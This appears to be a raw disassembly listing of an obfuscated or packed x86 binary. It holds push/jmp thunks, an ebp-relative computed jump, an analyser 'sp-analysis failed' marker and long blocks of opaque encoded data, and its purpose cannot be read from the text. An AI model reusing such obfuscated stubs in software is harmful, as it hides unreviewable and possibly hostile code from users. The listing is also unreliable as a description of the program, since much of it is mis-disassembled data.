		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	6170E01h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	6170FC4h
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		db 68h
		dd 6171077h, 0FB3EEBE9h
; ---------------------------------------------------------------------------


loc_5AA490:				; CODE XREF: sub_5AA371+AFj
		jmp	fword ptr [eax-62h]
; ---------------------------------------------------------------------------
		adc	[edi], edx
		push	es
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		push	617125Eh
		jmp	loc_55E37C
; ---------------------------------------------------------------------------
		db 62h,	60h, 2
		db 0CCh
		db 0A8h, 27h, 3Bh
		dd 75F3F317h, 0A8BA395Dh, 0E78302A6h, 3A825CF3h, 7ABAFBBh
		dd 53F7DB89h, 9EC21452h, 0E312441Ah, 691528A4h,	3D4C88ECh
		dd 1C3DBDA5h, 75F2C69Ch, 0F782E0DDh, 0E9E46A81h, 42343379h
		dd 5284DADEh, 0EF7575DDh, 0B7349A89h, 1066C5ABh, 3E858800h
		dd 0C76267EBh, 4DDA9EC4h, 0E76DFABEh, 3E299151h, 0FA901D0h
		dd 950C8343h, 0E4A87E10h, 0CC0D114Eh, 0AC5D7B31h, 2D7715F6h
		dd 105DBC5Dh, 0CB1F611Ah, 0E0950E05h, 0EBCF6C0Ch, 2075h
		dd 0F991F100h, 532391F4h, 80950C85h, 633E1D7h, 877715BAh
		dd 0AAB726E7h, 901F6161h, 96h, 273DBD14h, 7CEEE951h, 0D2901038h
		dd 2836BA9Eh, 65AC0826h, 0AD2D8EFBh, 7B7FA3B7h,	0F878FE5h
		dd 3D95BB0Eh, 0B5CF31FEh, 90D2CC82h, 6BCB89DEh,	836AF31Ch
		dd 4E203EBFh, 0D51D3522h, 0DE8C0B3Dh, 0C8507C43h, 296CE157h
		dd 0E8E76B3Eh, 0B530547Ah, 0ACC98DB5h, 80E6E64Fh, 938E2h
		dd 12505200h, 4B17983Ch, 85E3E307h, 0B8AA294Dh,	0F7737296h
		dd 2A72ACE3h, 779BBFABh, 43E7EB79h, 8E322442h, 0D302540Ah
		dd 686518B4h, 0D3C88ECh, 2042BDB5h, 58068A2Eh, 0F991EE76h
		dd 2CA991F4h, 0A927783Eh, 950C85DDh, 0C0065D0Ah, 506D6BBFh
		dd 17715BDh, 76F5BB56h,	3086E4E0h, 0BD31C0EEh, 0E8B07715h
		dd 629DAA29h, 0FA5E1F61h, 7D17945Bh, 0FD957518h, 0A072FC50h
		dd 0E3D3452Dh, 53000000h, 9D1C3DBDh, 0E570EFC5h, 3E2CAB8Fh
		dd 65785C7Ah, 4CF28EFBh, 0C2A1174Bh, 1A4848ECh,	0FDB58147h
		dd 50F19D41h, 9216BA1Eh, 8FB3E8CCh, 141C5210h, 242A717Ch
		dd 9818BEA4h, 3179E6CAh, 5D72D2FEh, 54F86AF3h, 0F436A244h
		dd 93FFB335h, 0CA4292C4h, 1C0360FAh, 7EEDC39Fh,	23184DAh
		dd 6F2D2841h, 9F2AE2h, 9C7A1FBDh, 0C5B6CE1h, 0DDDC62B9h
		dd 0BC7E0F4Dh, 28277D21h, 7671D59Dh, 3FBEE2F4h,	0F7453F23h
		dd 185EE64Fh, 82C4Ah, 1E444600h, 4F139438h, 79E7E70Bh
		dd 0B4AE2D51h, 0E37F7EA2h, 367E58EFh, 3A7ABB7h,	4FF3E785h
		dd 9A3E104Eh, 0EF064816h, 6B611CB8h, 93088ECh, 5A8A4EB1h
		dd 0CB971AB9h, 0CD64105h, 930786AAh, 0FBEF1825h, 5756628Eh
		dd 0E8EFBEFh, 8B263151h, 0C19F2347h, 3DBD5989h,	0E9E95127h
		dd 871F577Bh, 0A01F2386h, 0DB71EEC2h, 0F1332E53h, 0A1F6B893h
		dd 0CC58F13h, 3D73EC95h, 0F5F49515h, 0A3095556h, 0B49A29C4h
		dd 9ED29010h, 0AE1F6030h, 3C0067EFh, 6A6BE789h,	25ABB8FCh
		dd 3A718C7Dh, 0D9C5C425h, 61B9F18Ch, 76ECECA0h,	0A6BC3C60h
		dd 3AB59DD2h, 9D26D111h, 0DC6B85B0h, 48754398h,	29FC52F2h
		dd 0AC2FA33Eh, 0DAD6C0B6h, 7CFC52F2h, 78DE6F2Eh, 0A387EB77h
		dd 0E509411Fh, 26287FE5h, 0B5FBBFA3h, 52F26F07h, 72F0ECFCh
		dd 0CD991A3Eh, 80019DE7h, 840559F7h, 0B49AC8C8h, 9ED29010h
		dd 0A8FFFE96h, 0A512302Ch, 533621E7h, 3B71EFEFh, 0EE664A2Ch
		dd 134F4C76h, 6C33CE5Dh, 3179E5EAh, 0F96D2FEh, 7ADCF994h
		dd 6B65ED79h, 0C2B4B3F9h, 0C5F3B996h, 0E87C3635h, 716DD5AAh
		dd 0AE6FBFF3h, 0F9DA222Fh, 467188Bh, 0FD430000h, 4021565Dh
		dd 615FF3C4h, 37B7AF03h, 8EFB6136h, 8AB30154h, 238EFB61h
		dd 96C1C19Fh, 71FBF620h, 0F1E88EFBh, 22710495h,	71048C17h
		dd 5C232AA2h, 0F38EFC70h, 0CCF3856Ah, 0A1A3BA43h, 0F797CB66h
		dd 0FCEC63EFh, 69BECBAh, 0B3310000h, 747599B1h,	4844E8EEh
		dd 1190341Ah, 0DAD57951h, 0D5314688h, 7A5C0E89h, 448AD8D6h
		dd 93C7A320h, 0DDF56B6Fh, 0C6E7D5B4h, 9F88EC6Dh, 3DBD54EEh
		dd 4F0D4027h, 8EFB61BEh, 0A24251E7h, 2C37752Ch,	4097D991h
		dd 8ABE4F0Dh, 0DD2D8EFBh, 2B24A1B1h, 0FABCABF7h, 84DBE27Ah
		dd 4C203E42h, 8449BDFh,	95123CD4h, 48FCD28Dh, 142EA611h
		dd 683FCA98h, 0E52B8C6Ch, 0E282DD6Ch, 84D86EDCh, 0BEBF57CDh
		dd 9A71EDEBh, 75DDD17Bh, 0A784E87Ah, 0C4A8A7D3h, 0EFEED870h
		dd 9DA02C73h, 0C4B09EB6h, 0A3A9FC8Bh, 4FE87B1Ah, 7581EEBh
		dd 69B85649h, 0F1D483ABh, 371B4949h, 69510F93h,	2AC9028Bh
		dd 0D66C3A7Ch, 0EC000005h, 3E6274EEh, 9ADA5B9h,	57FBDF8Dh
		dd 0A4C80E54h, 0FE113929h, 0D5D5824h, 4527A1C5h, 7EECE90Dh
		dd 0AEB43458h, 0B21E09A8h, 88EC6C8Bh, 910B53EAh, 94CACFF9h
		dd 0D1B44320h, 0C673FE3h, 4D233C95h, 397FE5E5h,	9DD39111h
		dd 114E79B7h, 13C78DF4h, 649ED290h, 84FC7918h, 53CB9978h
		dd 4159774Ah, 966CE2C5h, 0BA9E91B9h, 4BE21C0h, 319FD3DBh
		dd 7D26E400h, 26E46A13h, 3637AF7Dh, 0BC381C53h,	0FBCDB64Dh
		dd 0A8B63698h, 0FD74E8C6h, 70D666CFh, 5783F773h, 6406B4F8h
		dd 7F633DEDh, 633DED45h, 5688D6DAh, 0E03BA6CCh,	261FCD2Bh
		dd 0BC000005h, 8E32243Eh, 0D97D5509h, 274B8FDDh, 7498BEA4h
		dd 0AEE1E979h, 0BDAD2874h, 0F5777195h, 2E3CB9DDh, 5E048428h
		dd 24ED978h, 88EC6F7Bh,	91BB033Ah, 2391F4F9h, 951269BBh
		dd 253BBF83h, 729ED04Fh, 0F4588FE5h, 0C5B253C0h, 873588E1h
		dd 7713FBE6h, 6ACEA0BFh, 9ED6F866h, 88B00407h, 0D0745A08h
		dd 7ADE92D0h, 0A384E876h, 0E07E02C4h, 83DB9F8Ch, 144A4E02h
		dd 20F643C2h, 1D251F5Bh, 8F0CC2A0h, 288E9DD3h, 19836h
		dd 0F991AE00h, 3B2391F4h, 3950C81h, 0CCA0BE3Fh,	0A8FF1B5Fh
		dd 1581112Ch, 78174077h, 81E98634h, 71707715h, 1997BBF1h
		dd 0BC3D654Bh, 0DEBF0FA6h, 0DDBC0E99h, 0B316178Fh, 0E2615905h
		dd 9E1D256Ch, 0C986F2C4h, 75D5D81h, 5B0989B1h, 6667FF77h
		dd 47B5B503h, 8DDA66D1h, 0ED961036h, 8E442BC2h,	0E6CA5938h
		dd 96D4D179h, 2B6D4522h, 37ADFC8Dh, 6C2D7D63h, 3F4F60EDh
		dd 415A13h, 91CA0000h, 2391F4F9h, 950C8553h, 0BDF0D780h
		dd 15BA6E1Fh, 56183777h, 0BA97A210h, 76167715h,	0A5202697h
		dd 0C794EDC5h, 741F6161h, 0B6EA9321h, 54CB7715h, 15B64578h
		dd 0B4431C77h, 0BF6CC2h, 0BDD80000h, 0E951273Dh, 10387CEEh
		dd 8FBE1A90h, 0D68EFB61h, 95203E42h, 0A8EB206h,	272D0254h
		dd 0CC0BF4Ah, 0CDEBCFBEh, 8EFB93E9h, 6A6CF2F6h,	9C5272EAh
		dd 3B4F6AEBh, 0ED208712h, 0B6F86A65h, 0F55F718h, 0CE95C295h
		dd 1528A4FBh, 4C7717F4h, 0FCFB5F13h, 1137686Eh,	88B5FBC9h
		dd 0CB6F4339h, 437A56CCh, 127717A8h, 0AB527E45h, 0A7717A8h
		dd 1098CE5Dh, 0DBEC61E4h, 363CF9Dh, 7B790000h, 3CBDE1E9h
		dd 108C3026h, 0D9D87C52h, 0A21D4189h, 9D798EC0h, 4294D6D1h
		dd 8CC2A01Eh, 0DBFF6B68h, 252D33B7h, 0E3F9D8Ch,	5788EC6Eh
		dd 42BD8CD6h, 68A2E20h,	19217658h, 41E9CF9Dh, 22942341h
		dd 0C8A4E42h, 79DBEA3Fh, 6464C8AEh, 2E65BAFEh, 0FBF19BA2h
		dd 258DDA8Eh, 0EFE38101h, 0E13A3777h, 0EC508EFBh, 5C784FE9h
		dd 710409A1h, 0E5F167F0h, 1798919Bh, 7FF2B862h,	11208EE0h
		dd 0A4710443h, 7E5A212Ch, 6AED4BEEh, 0BD85D877h, 0D350243Eh
		dd 45DD599Fh, 93576538h, 0C06CE474h, 6D4C715Fh,	3A157D2Ch
		dd 26FBBBAFh, 0C620E64Ch, 2B018h, 9AC8CA00h, 0D38F10B4h
		dd 0D5B5BFFh, 4022A1C5h, 7FEBEA0Eh, 0A2EA245Bh,	0EF134723h
		dd 3B5F73F1h, 6AAACBAh,	5BFADC82h, 71FD80CCh, 85A488ECh
		dd 273DBD3Dh, 7BE9E951h, 86871F57h, 3B99EC23h, 8EFB6102h
		dd 4B20453h, 950C8744h,	0E3673A15h, 312E82E0h, 0E8993779h
		dd 697715BBh, 54E17011h, 461F615Dh, 34h, 0F4F991BEh, 49075A91h
		dd 8EFB61B4h, 0DFBBA925h, 0B4802E80h, 0ED950C85h, 0E1903E72h
		dd 607715BDh, 4D1A7918h, 8E1F6163h, 551B4748h, 0C68EE0D6h
		dd 0F6000000h, 51273DBDh, 387CEEE9h, 9ED29010h,	951336BAh
		dd 0CC82E1D7h, 0D30792D0h, 0FB65C125h, 0A9252D8Eh, 4F53F7BBh
		dd 5844A11h, 0FCAA0A64h, 0F18C71D5h, 0F1F115B9h, 0A1393D73h
		dd 0B78BC99Ch, 0E46AF395h, 5D606CA3h, 4771595h,	95700D4Bh
		dd 36217715h, 0A73FB79Bh, 488CC3A6h, 72C80F2Eh,	537D35B8h
		dd 6CE14336h, 4DF5C887h, 874D1052h, 1DB66EC0h, 2286E878h
		dd 48F2C70Dh, 76D1B788h, 0C1A11C00h, 50022399h,	34F234E6h
		dd 189h, 8FC3A123h, 0D6F8666Bh,	223432B2h, 7367FBFEh, 0BC92D0CFh
		dd 887CF0Bh, 0D6D0745Ah, 9D1E4294h, 656589C1h, 0EFBADBFFh
		dd 0EC70DCE1h, 5AE48588h, 2E2042BDh, 7658068Ah,	0F4F991EEh
		dd 85532391h, 0D780950Ch, 7B864AE1h, 0FF0F9Bh, 23DEF8BEh
		dd 0A277154Ch, 8FDC3BDAh, 8D1F60B3h, 0A3h, 273DBDF9h, 58FDFE40h
		dd 0DF76DC7Ch, 591FAA30h, 0FEA2E4CAh, 3A1C63FFh, 67C4A8B6h
		dd 7EFCD13h, 948EFB3Eh,	17084E14h, 0C3B7B533h, 0AF055B5Fh
		dd 5B2E2FA7h, 0C3C057Dh, 0D5FD6A95h, 0C5C3059Dh, 0C752D1A7h
		dd 5D54D4E0h, 0AAA56CE0h, 0F67473D7h, 2141BCE0h, 50B78D39h
		dd 8E5C9AE6h, 0C9h, 4F83E1E3h, 96B8A62Bh, 0E2F47272h, 33273BBEh
		dd 7C52108Fh, 48470FCBh, 1690341Ah, 0DDDE0254h,	0A5254981h
		dd 2F7A9BBFh, 0EC739CA1h, 1AA4C588h, 5E0C884Eh,	0A9B93418h
		dd 4B488EA1h, 0F3F75B1Fh, 0BDFD656Dh, 1A51273Dh, 0C8AEB434h
		dd 0ABFE6464h, 783C22A7h, 0D32387EBh, 616F323Bh, 951269F1h
		dd 9F83E966h, 0D87E451Bh, 9D3B8EDCh, 771399E0h,	0ECD0A6B1h
		dd 561A4848h, 0ACBE3901h, 0B9175BC8h, 2668FB29h, 33DDC28h
		dd 45E9E17Fh, 75481F45h, 37EB923Eh, 9DCA279Fh, 9F378EBFh
		dd 3678D727h, 6864BBF0h, 279F3755h, 1ABE6A0Ch, 7F43C4BCh
		dd 27AA8EE0h, 0B1D1753Bh, 461C9CD0h, 76ECEC10h,	36402h
		dd 0C9D00000h, 253FBD31h, 79E7EB4Fh, 0D08E0F33h, 283AB49Ch
		dd 81E1DC44h, 0DA88072Bh, 332FB296h, 8BD9D57Dh,	0E67C7D25h
		dd 15685492h, 89000059h, 89512434h, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 2404895Ch, 81E38953h, 4C3h,	4EB8100h
		dd 87000000h, 895C241Ch, 53B8241Ch, 56EC46Dh, 2BCA0852h
		dd 5379B705h, 84BA526Eh, 0C17F137Bh, 0F28102EAh, 126A7BB3h
		dd 1ECAF281h, 0C2813549h, 0DA1E5A81h, 0D15AD001h, 0F9DB2DE8h
		dd 8B5407DCh, 0C481241Ch, 4, 69BF5751h,	810AD911h, 0D91161EFh
		dd 5FF9890Ah, 189D901h,	241C8B59h, 81E78957h, 4C7h, 4C78300h
		dd 5C243C87h, 582434FFh, 0E904C483h, 0FFFB33C4h
		db 3
; ---------------------------------------------------------------------------


loc_5AAFB9:				; CODE XREF: sub_5AA371:loc_5AA446j
		mov	eax, 617134Ch
		add	eax, ebp
		jmp	eax
sub_5AA371	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 8832h
		dd 17982DBEh, 0A0A146DAh, 5C203117h, 90094C9Ah,	0A1150883h
		dd 0E1B910B9h, 0D81C721Bh, 4B462DA4h, 0A0EB2240h, 51F53F0h
		dd 9DAB67D8h, 43194F13h, 0C0246BE2h, 76536747h,	3C6E0D22h
		dd 12D12B93h, 2529616Eh, 0D1955F3h, 0DE3A7910h,	0CC6B2F88h
		dd 0D74D307Fh, 0CE87776h, 0B7000000h, 0B4A762ADh, 0BC2D8BAEh
		dd 5FD17D79h, 0C781D18Bh, 6EDAh, 59525353h, 0BB585Ah, 60000000h
		dd 58C0Fh, 81660000h, 0B530BDC3h, 348B61B3h, 58FC521Fh
		dd 9503C681h, 81664B2Eh, 8144FEC0h, 0BCBAD8F6h,	11850F47h
		dd 0E9000000h, 0Ch, 0CD83E3CFh,	87022FA2h, 90B1D280h, 4180C681h
		dd 0AE919FAh, 0C6000000h, 519A5281h, 0AC27B173h, 0B0B856FDh
		dd 8F08E797h, 81661F04h, 0FCEC7F2h, 58Fh, 0C9816600h, 0EB816910h
		dd 51604BD1h, 8190E180h, 604BCDC3h, 5E951h, 0B52C0000h
		dd 81E4250Ch, 0FF9204FBh, 10850FFFh, 8B000000h,	2BE9C6h
		dd 42350000h, 37478EACh, 0F7D564Ch, 0E89h, 7E800h, 4ABF0000h
		dd 0C04FBCBBh, 0E959F535h, 0FFFFFF56h, 0DF4618F3h, 0CA480CC2h
		dd 0EC8D8DECh, 6A061715h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 731CC355h, 3C6BEB92h
		dd 0B70F60ACh, 79B501FFh, 61061102h, 1F098529h,	0BD890611h
		dd 61127A5h, 285D8D89h,	6A0611h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0FD70AEC3h, 0C686F894h
		dd 0B1BF66DCh, 0D185C781h, 1C06112Dh, 6000005Dh, 15558D8Bh
		dd 39BA0611h, 610FDA2Fh, 270985C7h, 611h, 952B0000h, 6110B71h
		dd 3199B5FFh, 9D890611h, 6110105h, 1DA995FFh, 41BE0611h
		dd 6A48EFD0h, 0C595FF00h, 8B061105h, 7908EBC0h,	791BA74Fh
		dd 0E92550D2h, 0BCh, 4D4F0315h,	0CA459CD7h, 0B6E1C8C3h
		dd 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h
		dd 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h,	7594A196h
		dd 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh
		dd 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h
		dd 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h
		dd 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h,	0ABF79B57h
		dd 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh
		dd 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h
		dd 47000000h, 0E3129D74h, 5E99E0h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5AC72A
; ---------------------------------------------------------------------------
		push	6171895h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6171997h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6171A7Dh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6171BCEh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6171C3Fh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6171CD7h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6171D9Bh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6171E5Eh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6171F04h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	617208Bh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	617216Dh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61722CCh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	617238Fh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61724F6h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6172657h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6172846h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	617290Bh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		sub	bh, [ebx+esi]
		pop	ebp
		retf
; ---------------------------------------------------------------------------
		dd 0EB3D131Ch, 851F757Ah, 0ABFD535Ch, 49DAB0BFh, 0C2CD75A4h
		dd 252A1A8Ch, 50A356Fh,	646BD54Fh, 8394E42Eh, 0C97F7553h
		dd 654143D0h, 0C9D4DB0Fh, 7C16317h, 6BEC5808h, 0CF968CBBh
		dd 636CD848h, 4028A69Ah, 9E9153A9h, 7B1C48B8h, 0CF968CCBh
		dd 0E95A2C58h, 59A792E6h, 0F93A5D0Dh, 0EED5A7B2h, 5A8C4B52h
		dd 94C98567h, 75DA0AFh,	0F330CDC2h, 0D1B89AADh,	0E2DAC45Fh
		dd 0AC09DCCEh, 47h, 0DE0F657Ch,	75F0CCD1h, 0FBDA37Ah, 0B6E2CE6Bh
		dd 0B0DE55FAh, 6D9BD5A7h, 6885B990h, 6AD0C985h,	38262918h
		dd 7C7CB12Fh, 257B3F81h, 4C083C22h, 374D09DCh, 70E03D32h
		dd 4A2E2126h, 0AB35h, 8BBFD500h, 439EEC84h, 1BCB4C81h
		dd 28CF968Dh, 459F6E9Ch, 310B929Dh, 9FE53837h, 9CECA2ADh
		dd 30CDC206h, 0FDC76800h, 0B7CF9691h, 52D4BAB5h, 0C10E9F90h
		dd 50C7B3E7h, 0D5A7A5EBh, 5BF65CE8h, 5F79297Dh,	0DD6A68D1h
		dd 6E9A9EBAh, 98525EE9h, 0E555E3CFh, 0FE545B8Fh, 66B3BCA4h
		dd 894CEA9Ch, 15A39774h, 0D6000012h, 0EF391F10h, 87217778h
		dd 0A1034946h, 0BFE9AFA0h, 55CE848Bh, 0CEC101B0h, 212E1E88h
		dd 10E396Bh, 606FD94Bh,	0FF90E82Ah, 0C97F744Fh,	434DBFD4h
		dd 0FAF56C87h, 0C98F3D23h, 5872ED5Fh, 0C0C08322h, 0E5573DABh
		dd 6CDB2965h, 8C3EEC63h, 0B7C5CF96h, 0DE8A56C3h, 79196462h
		dd 2711A4D2h, 2B203753h, 1BD5A77Fh, 767AA8AFh, 7B89C985h
		dd 916C9837h, 857684B6h, 0C45FD1C9h, 0DCF9E2DAh, 0D5AC09h
		dd 437C0000h, 1BCB4C81h, 28CF968Dh, 459F6E9Ch, 4CA6929Dh
		dd 0DB059897h, 79438657h, 0BCF9691h, 0D30314D9h, 50CF9688h
		dd 46E0B624h, 0C728B84h, 0AF7E71F6h, 6B64E7B1h,	9ACE2A07h
		dd 0A5C2A9AEh, 0A94D5A7h, 59B31978h, 319E92D9h,	44ACCD83h
		dd 17D22010h, 63F41018h, 0CF9901C7h, 0D22010ACh, 0FD291916h
		dd 93F7AC5Ah, 151ACECFh, 3D4B4888h, 51911375h, 21E9435Eh
		dd 0A07D894Ch, 1113BAh,	616ED400h, 454AF92Bh, 0A7A8950Fh
		dd 0BDB2B7F1h, 9A954DD7h, 1BCA73B4h, 386A202Fh,	0DB4D030Ch
		dd 0F7316768h, 82147A75h, 7339E96Eh, 55CEC97Fh,	8E7B6557h
		dd 0D0525D90h, 37382F79h, 2E212143h, 0C88A5472h, 0E2AE5CF3h
		dd 7B5CF95h, 5393E819h,	0FD6FB9DFh, 43229CF2h, 257F8E81h
		dd 1916D03Bh, 0C203A5EBh, 0B0C230CDh, 0FD82CB3h, 192D62D3h
		dd 4A2E12EBh, 71212E18h, 1ECA2123h, 26548C11h, 8D292C52h
		dd 4D428113h, 0F4A00825h, 0C5309384h, 8735D5A6h, 0F59447CAh
		dd 0CD2BC10Eh, 9406345Bh, 0FD68DDFAh, 16352BF2h, 1B3C6C9Ah
		dd 0E40B9648h, 311EEF1Dh, 40D783D7h, 0DE20060Dh, 90E25EEAh
		dd 97F35956h, 31CCC37Dh, 8424010Fh, 576414F7h, 0D8478123h
		dd 623E4D2Dh, 8E1B8992h, 78D07010h, 2DEF5BA0h, 3E000010h
		dd 0D7510708h, 0EF391F10h, 891B717Eh, 0A7015758h, 0BDE6ACA3h
		dd 0F6F96998h, 0C9C606A0h, 29262183h, 807C163h,	97B8F042h
		dd 0C97F7267h, 4365A7FCh, 0D27F8E81h, 61F6A2F6h, 0D5A79856h
		dd 0C3C7D1Bh, 43BD34EFh, 0CC748986h, 0CF6A205Eh, 52C5B5E1h
		dd 0CF966A3Dh, 0D87F8E3Ah, 0CF966A26h, 4EF90B77h, 0E160BC41h
		dd 0B3211FEEh, 809EA9FFh, 0FCDCCBCh, 7FF2h, 6CB49A00h
		dd 0F21C4838h, 4E9F525Ch, 0A856FD1Dh, 0BFCF960Eh, 7A1D6901h
		dd 0D5A75D06h, 3D323761h, 96C270E0h, 9CCCC37Ch,	81DA0872h
		dd 8512608Eh, 4B49E7C9h, 15D764C8h, 6284EC1Ah, 85070B3Dh
		dd 9354FC9h, 906D62E2h,	75EB32A0h, 6A65E73Dh, 0DE418224h
		dd 3E2B5BCCh, 5674EC31h, 345BCBE2h, 0C984A006h,	0C371EF1Dh
		dd 0CFC07D97h, 768CF2ABh, 0B0676CF3h, 4213D984h, 39E85CD4h
		dd 0B200000Fh, 48386CB4h, 0ADA3C0C7h, 3B7785D5h, 1A707FE9h
		dd 2DDD72AEh, 3AC97F77h, 454AF48Eh, 0B2F0B8B8h,	0E16EBFB0h
		dd 70E75307h, 0CF968CC0h, 99C78A14h, 1BAFF024h,	5C0CB817h
		dd 5F0B04C6h, 19111EC5h, 0BCB3ADF7h, 5004EC61h,	57E06FE0h
		dd 0D765D5A7h, 5FFF463Ah, 3D29F28Fh, 0EDCh, 0F258578Dh
		dd 0D6BCB3B0h, 0B89E914Ch, 9EF4FB6Eh, 7DD3DC04h, 10D0012Ah
		dd 7FEF391Fh, 5F881A70h, 0BEA8FA50h, 2159DBB1h,	7F72002Eh
		dd 1E0E07C9h, 968C8CBEh, 0E3B711CFh, 0A278A0B7h, 41FFD5ADh
		dd 4E418311h, 0A3AC9E08h, 7F2BF55Ah, 82830C03h,	7D9BCF90h
		dd 49EE433Dh, 0A8A7A640h, 0F6F9683Ah, 56412917h, 154FCFDAh
		dd 76D78948h, 0E6BC0h, 0C9C67C00h, 2D222183h, 0F003D67h
		dd 656ADF49h, 424DF52Fh, 43729B0Ch, 60C28887h, 3A5EBE4h
		dd 1F89CFC0h, 2A6C222Dh, 709141D6h, 0FD96C97Fh,	8E81438Fh
		dd 76F1037Fh, 71F33179h, 55BAF7Eh, 0EB281C02h, 6660FCDh
		dd 36000009h, 67DC6CB4h, 898EFA68h, 0D5ADA26Ch,	0B0BFABFDh
		dd 0D8D7176Dh, 7FED1BC5h, 7877F103h, 9B569012h,	76FA282Fh
		dd 0FB09C97Fh, 7F76A654h, 910FBDC9h, 7719CD0Ch,	44ACC97Fh
		dd 0A42F2010h, 0A9CF9082h, 0A9768E1Bh, 0B9828948h, 0DD38Dh
		dd 0A1AE9400h, 858AB9EBh, 0E7E855CFh, 0FDF277B1h, 0DAD50D97h
		dd 0DB0A3374h, 0F82A606Fh, 9B0D434Ch, 0B7F1A7A8h, 42D4BAB5h
		dd 70F9292Eh, 150EC97Fh, 8E814317h, 343B257Fh, 0C95693E9h
		dd 4B8A31A1h, 0B920094h, 653F3031h, 0A017F6F9h,	21795BECh
		dd 0E879DBC5h, 0F316B8F2h, 3EDE69BFh, 0A9747BE4h, 4579C3B7h
		dd 0D0FCDDCh, 84Dh, 8C8CBED3h, 0B711CF96h, 297BB7E3h, 1D12D338h
		dd 0C9A48BEFh, 0DED5ADA2h, 0A29CF6A2h, 0A5A7FDADh, 0DA0953AAh
		dd 0ADD3A7D5h, 8AC6C97Bh, 0A8C0CF78h, 20745CF1h, 0DD695670h
		dd 3F8FBFD0h, 1894C97Fh, 2482777Ah, 941F304Ch, 0D9CF9064h
		dd 8BC85EABh, 0E3388948h, 0D0F77h, 656AD800h, 414EF52Fh
		dd 0A3AC990Bh, 818EBBEDh, 0E6E959CBh, 1FCE77B0h, 346E242Bh
		dd 0D7510708h, 0F3351B14h, 9E187E71h, 6F3DED62h, 59CAC97Fh
		dd 8E81432Bh, 3D2B34D2h, 0F1D57A00h, 0C4ACA3A7h, 121DCF15h
		dd 0DE69BF8Bh, 0CDECFCC0h, 7A3B20Fh, 655A0000h,	8CF82629h
		dd 0F10FCF96h, 0A2349CB9h, 968C7DADh, 507E8ACFh, 26CBD030h
		dd 2B67957Ah, 9A636CD9h, 0A1B6D2A6h, 0D5ACC6D9h, 0DC36629Eh
		dd 525D8962h, 2B67954Bh, 82D7D9ADh, 68E9F3h, 59A44DEh
		dd 353640E5h, 0A578F6B8h, 343B2B79h, 6327DB7Ch,	52BEC97Fh
		dd 841E4A06h, 8848555Ah, 6E34BFE0h, 8B39CF90h, 4895F27Eh
		dd 0D105E689h, 0C4Ch, 6228271Dh, 460C03C0h, 286E61DCh
		dd 0E444BFEh, 0EDA3AC94h, 0E06091BAh, 0CF7FA9EFh, 2F188AC0h
		dd 0E386A20h, 0B1C94B01h, 7F6E709Eh, 6E9EF7C9h,	7F8E8143h
		dd 0E9343B25h, 58B84B9Dh, 631718CAh, 0CDEB2519h, 0D20C660Fh
		dd 1810C0DDh, 6E0E7h, 91BEB500h, 14CF968Ch, 7CA898CCh
		dd 41292626h, 0ADA375DEh, 6BDB29D5h, 0F3233464h, 70C97F76h
		dd 0F503ACC4h, 0F5FA6F85h, 313341BDh, 1CCE583Eh, 7B458A13h
		dd 0BCD31ECBh, 0C97F768Eh, 14E96795h, 4DC2BE2Ch, 0CF90A7DEh
		dd 924C5DEBh, 0BA894893h, 0BA6F561h, 81470000h,	0E95EC88Eh
		dd 0F776B0E6h, 0D11092F8h, 3A2E78DEh, 1FC45F35h, 1F757AEEh
		dd 565985h, 0E4AAA5A6h,	0C98F8042h, 0EE1C334Fh,	75C97F6Dh
		dd 8143EC20h, 1DC85C1Eh, 9662CC7Ah, 2F2D5BCFh, 0EA18AFF3h
		dd 17FC64BEh, 53AAD8D7h, 8BCCEFEDh, 0BE553D5Fh,	6FD923FAh
		dd 20DBFBF0h, 0BE2C2EFFh, 242B156Fh, 4C4383D9h,	6BFC8CB1h
		dd 0CBAB5ADh, 62A4BFE9h, 59A9EFE0h, 0F71619CBh,	635B2149h
		dd 2F0FCD30h, 155h, 262965FDh, 0CF968CF8h, 6BB9F10Fh, 31DC66F9h
		dd 90279B1Fh, 87419B62h, 4997C288h, 0E92A2D1Dh,	0FED5A719h
		dd 6A9CBB42h, 0BBC984D0h, 0C8FCE265h, 8609DC57h, 3Ch, 386CB456h
		dd 44861C48h, 0B00274Bh, 68D5A7B1h, 0D406C1DCh,	21C98568h
		dd 38E669A5h, 0CFC98568h, 0A04EC1B1h, 0A7C98568h, 34CF6109h
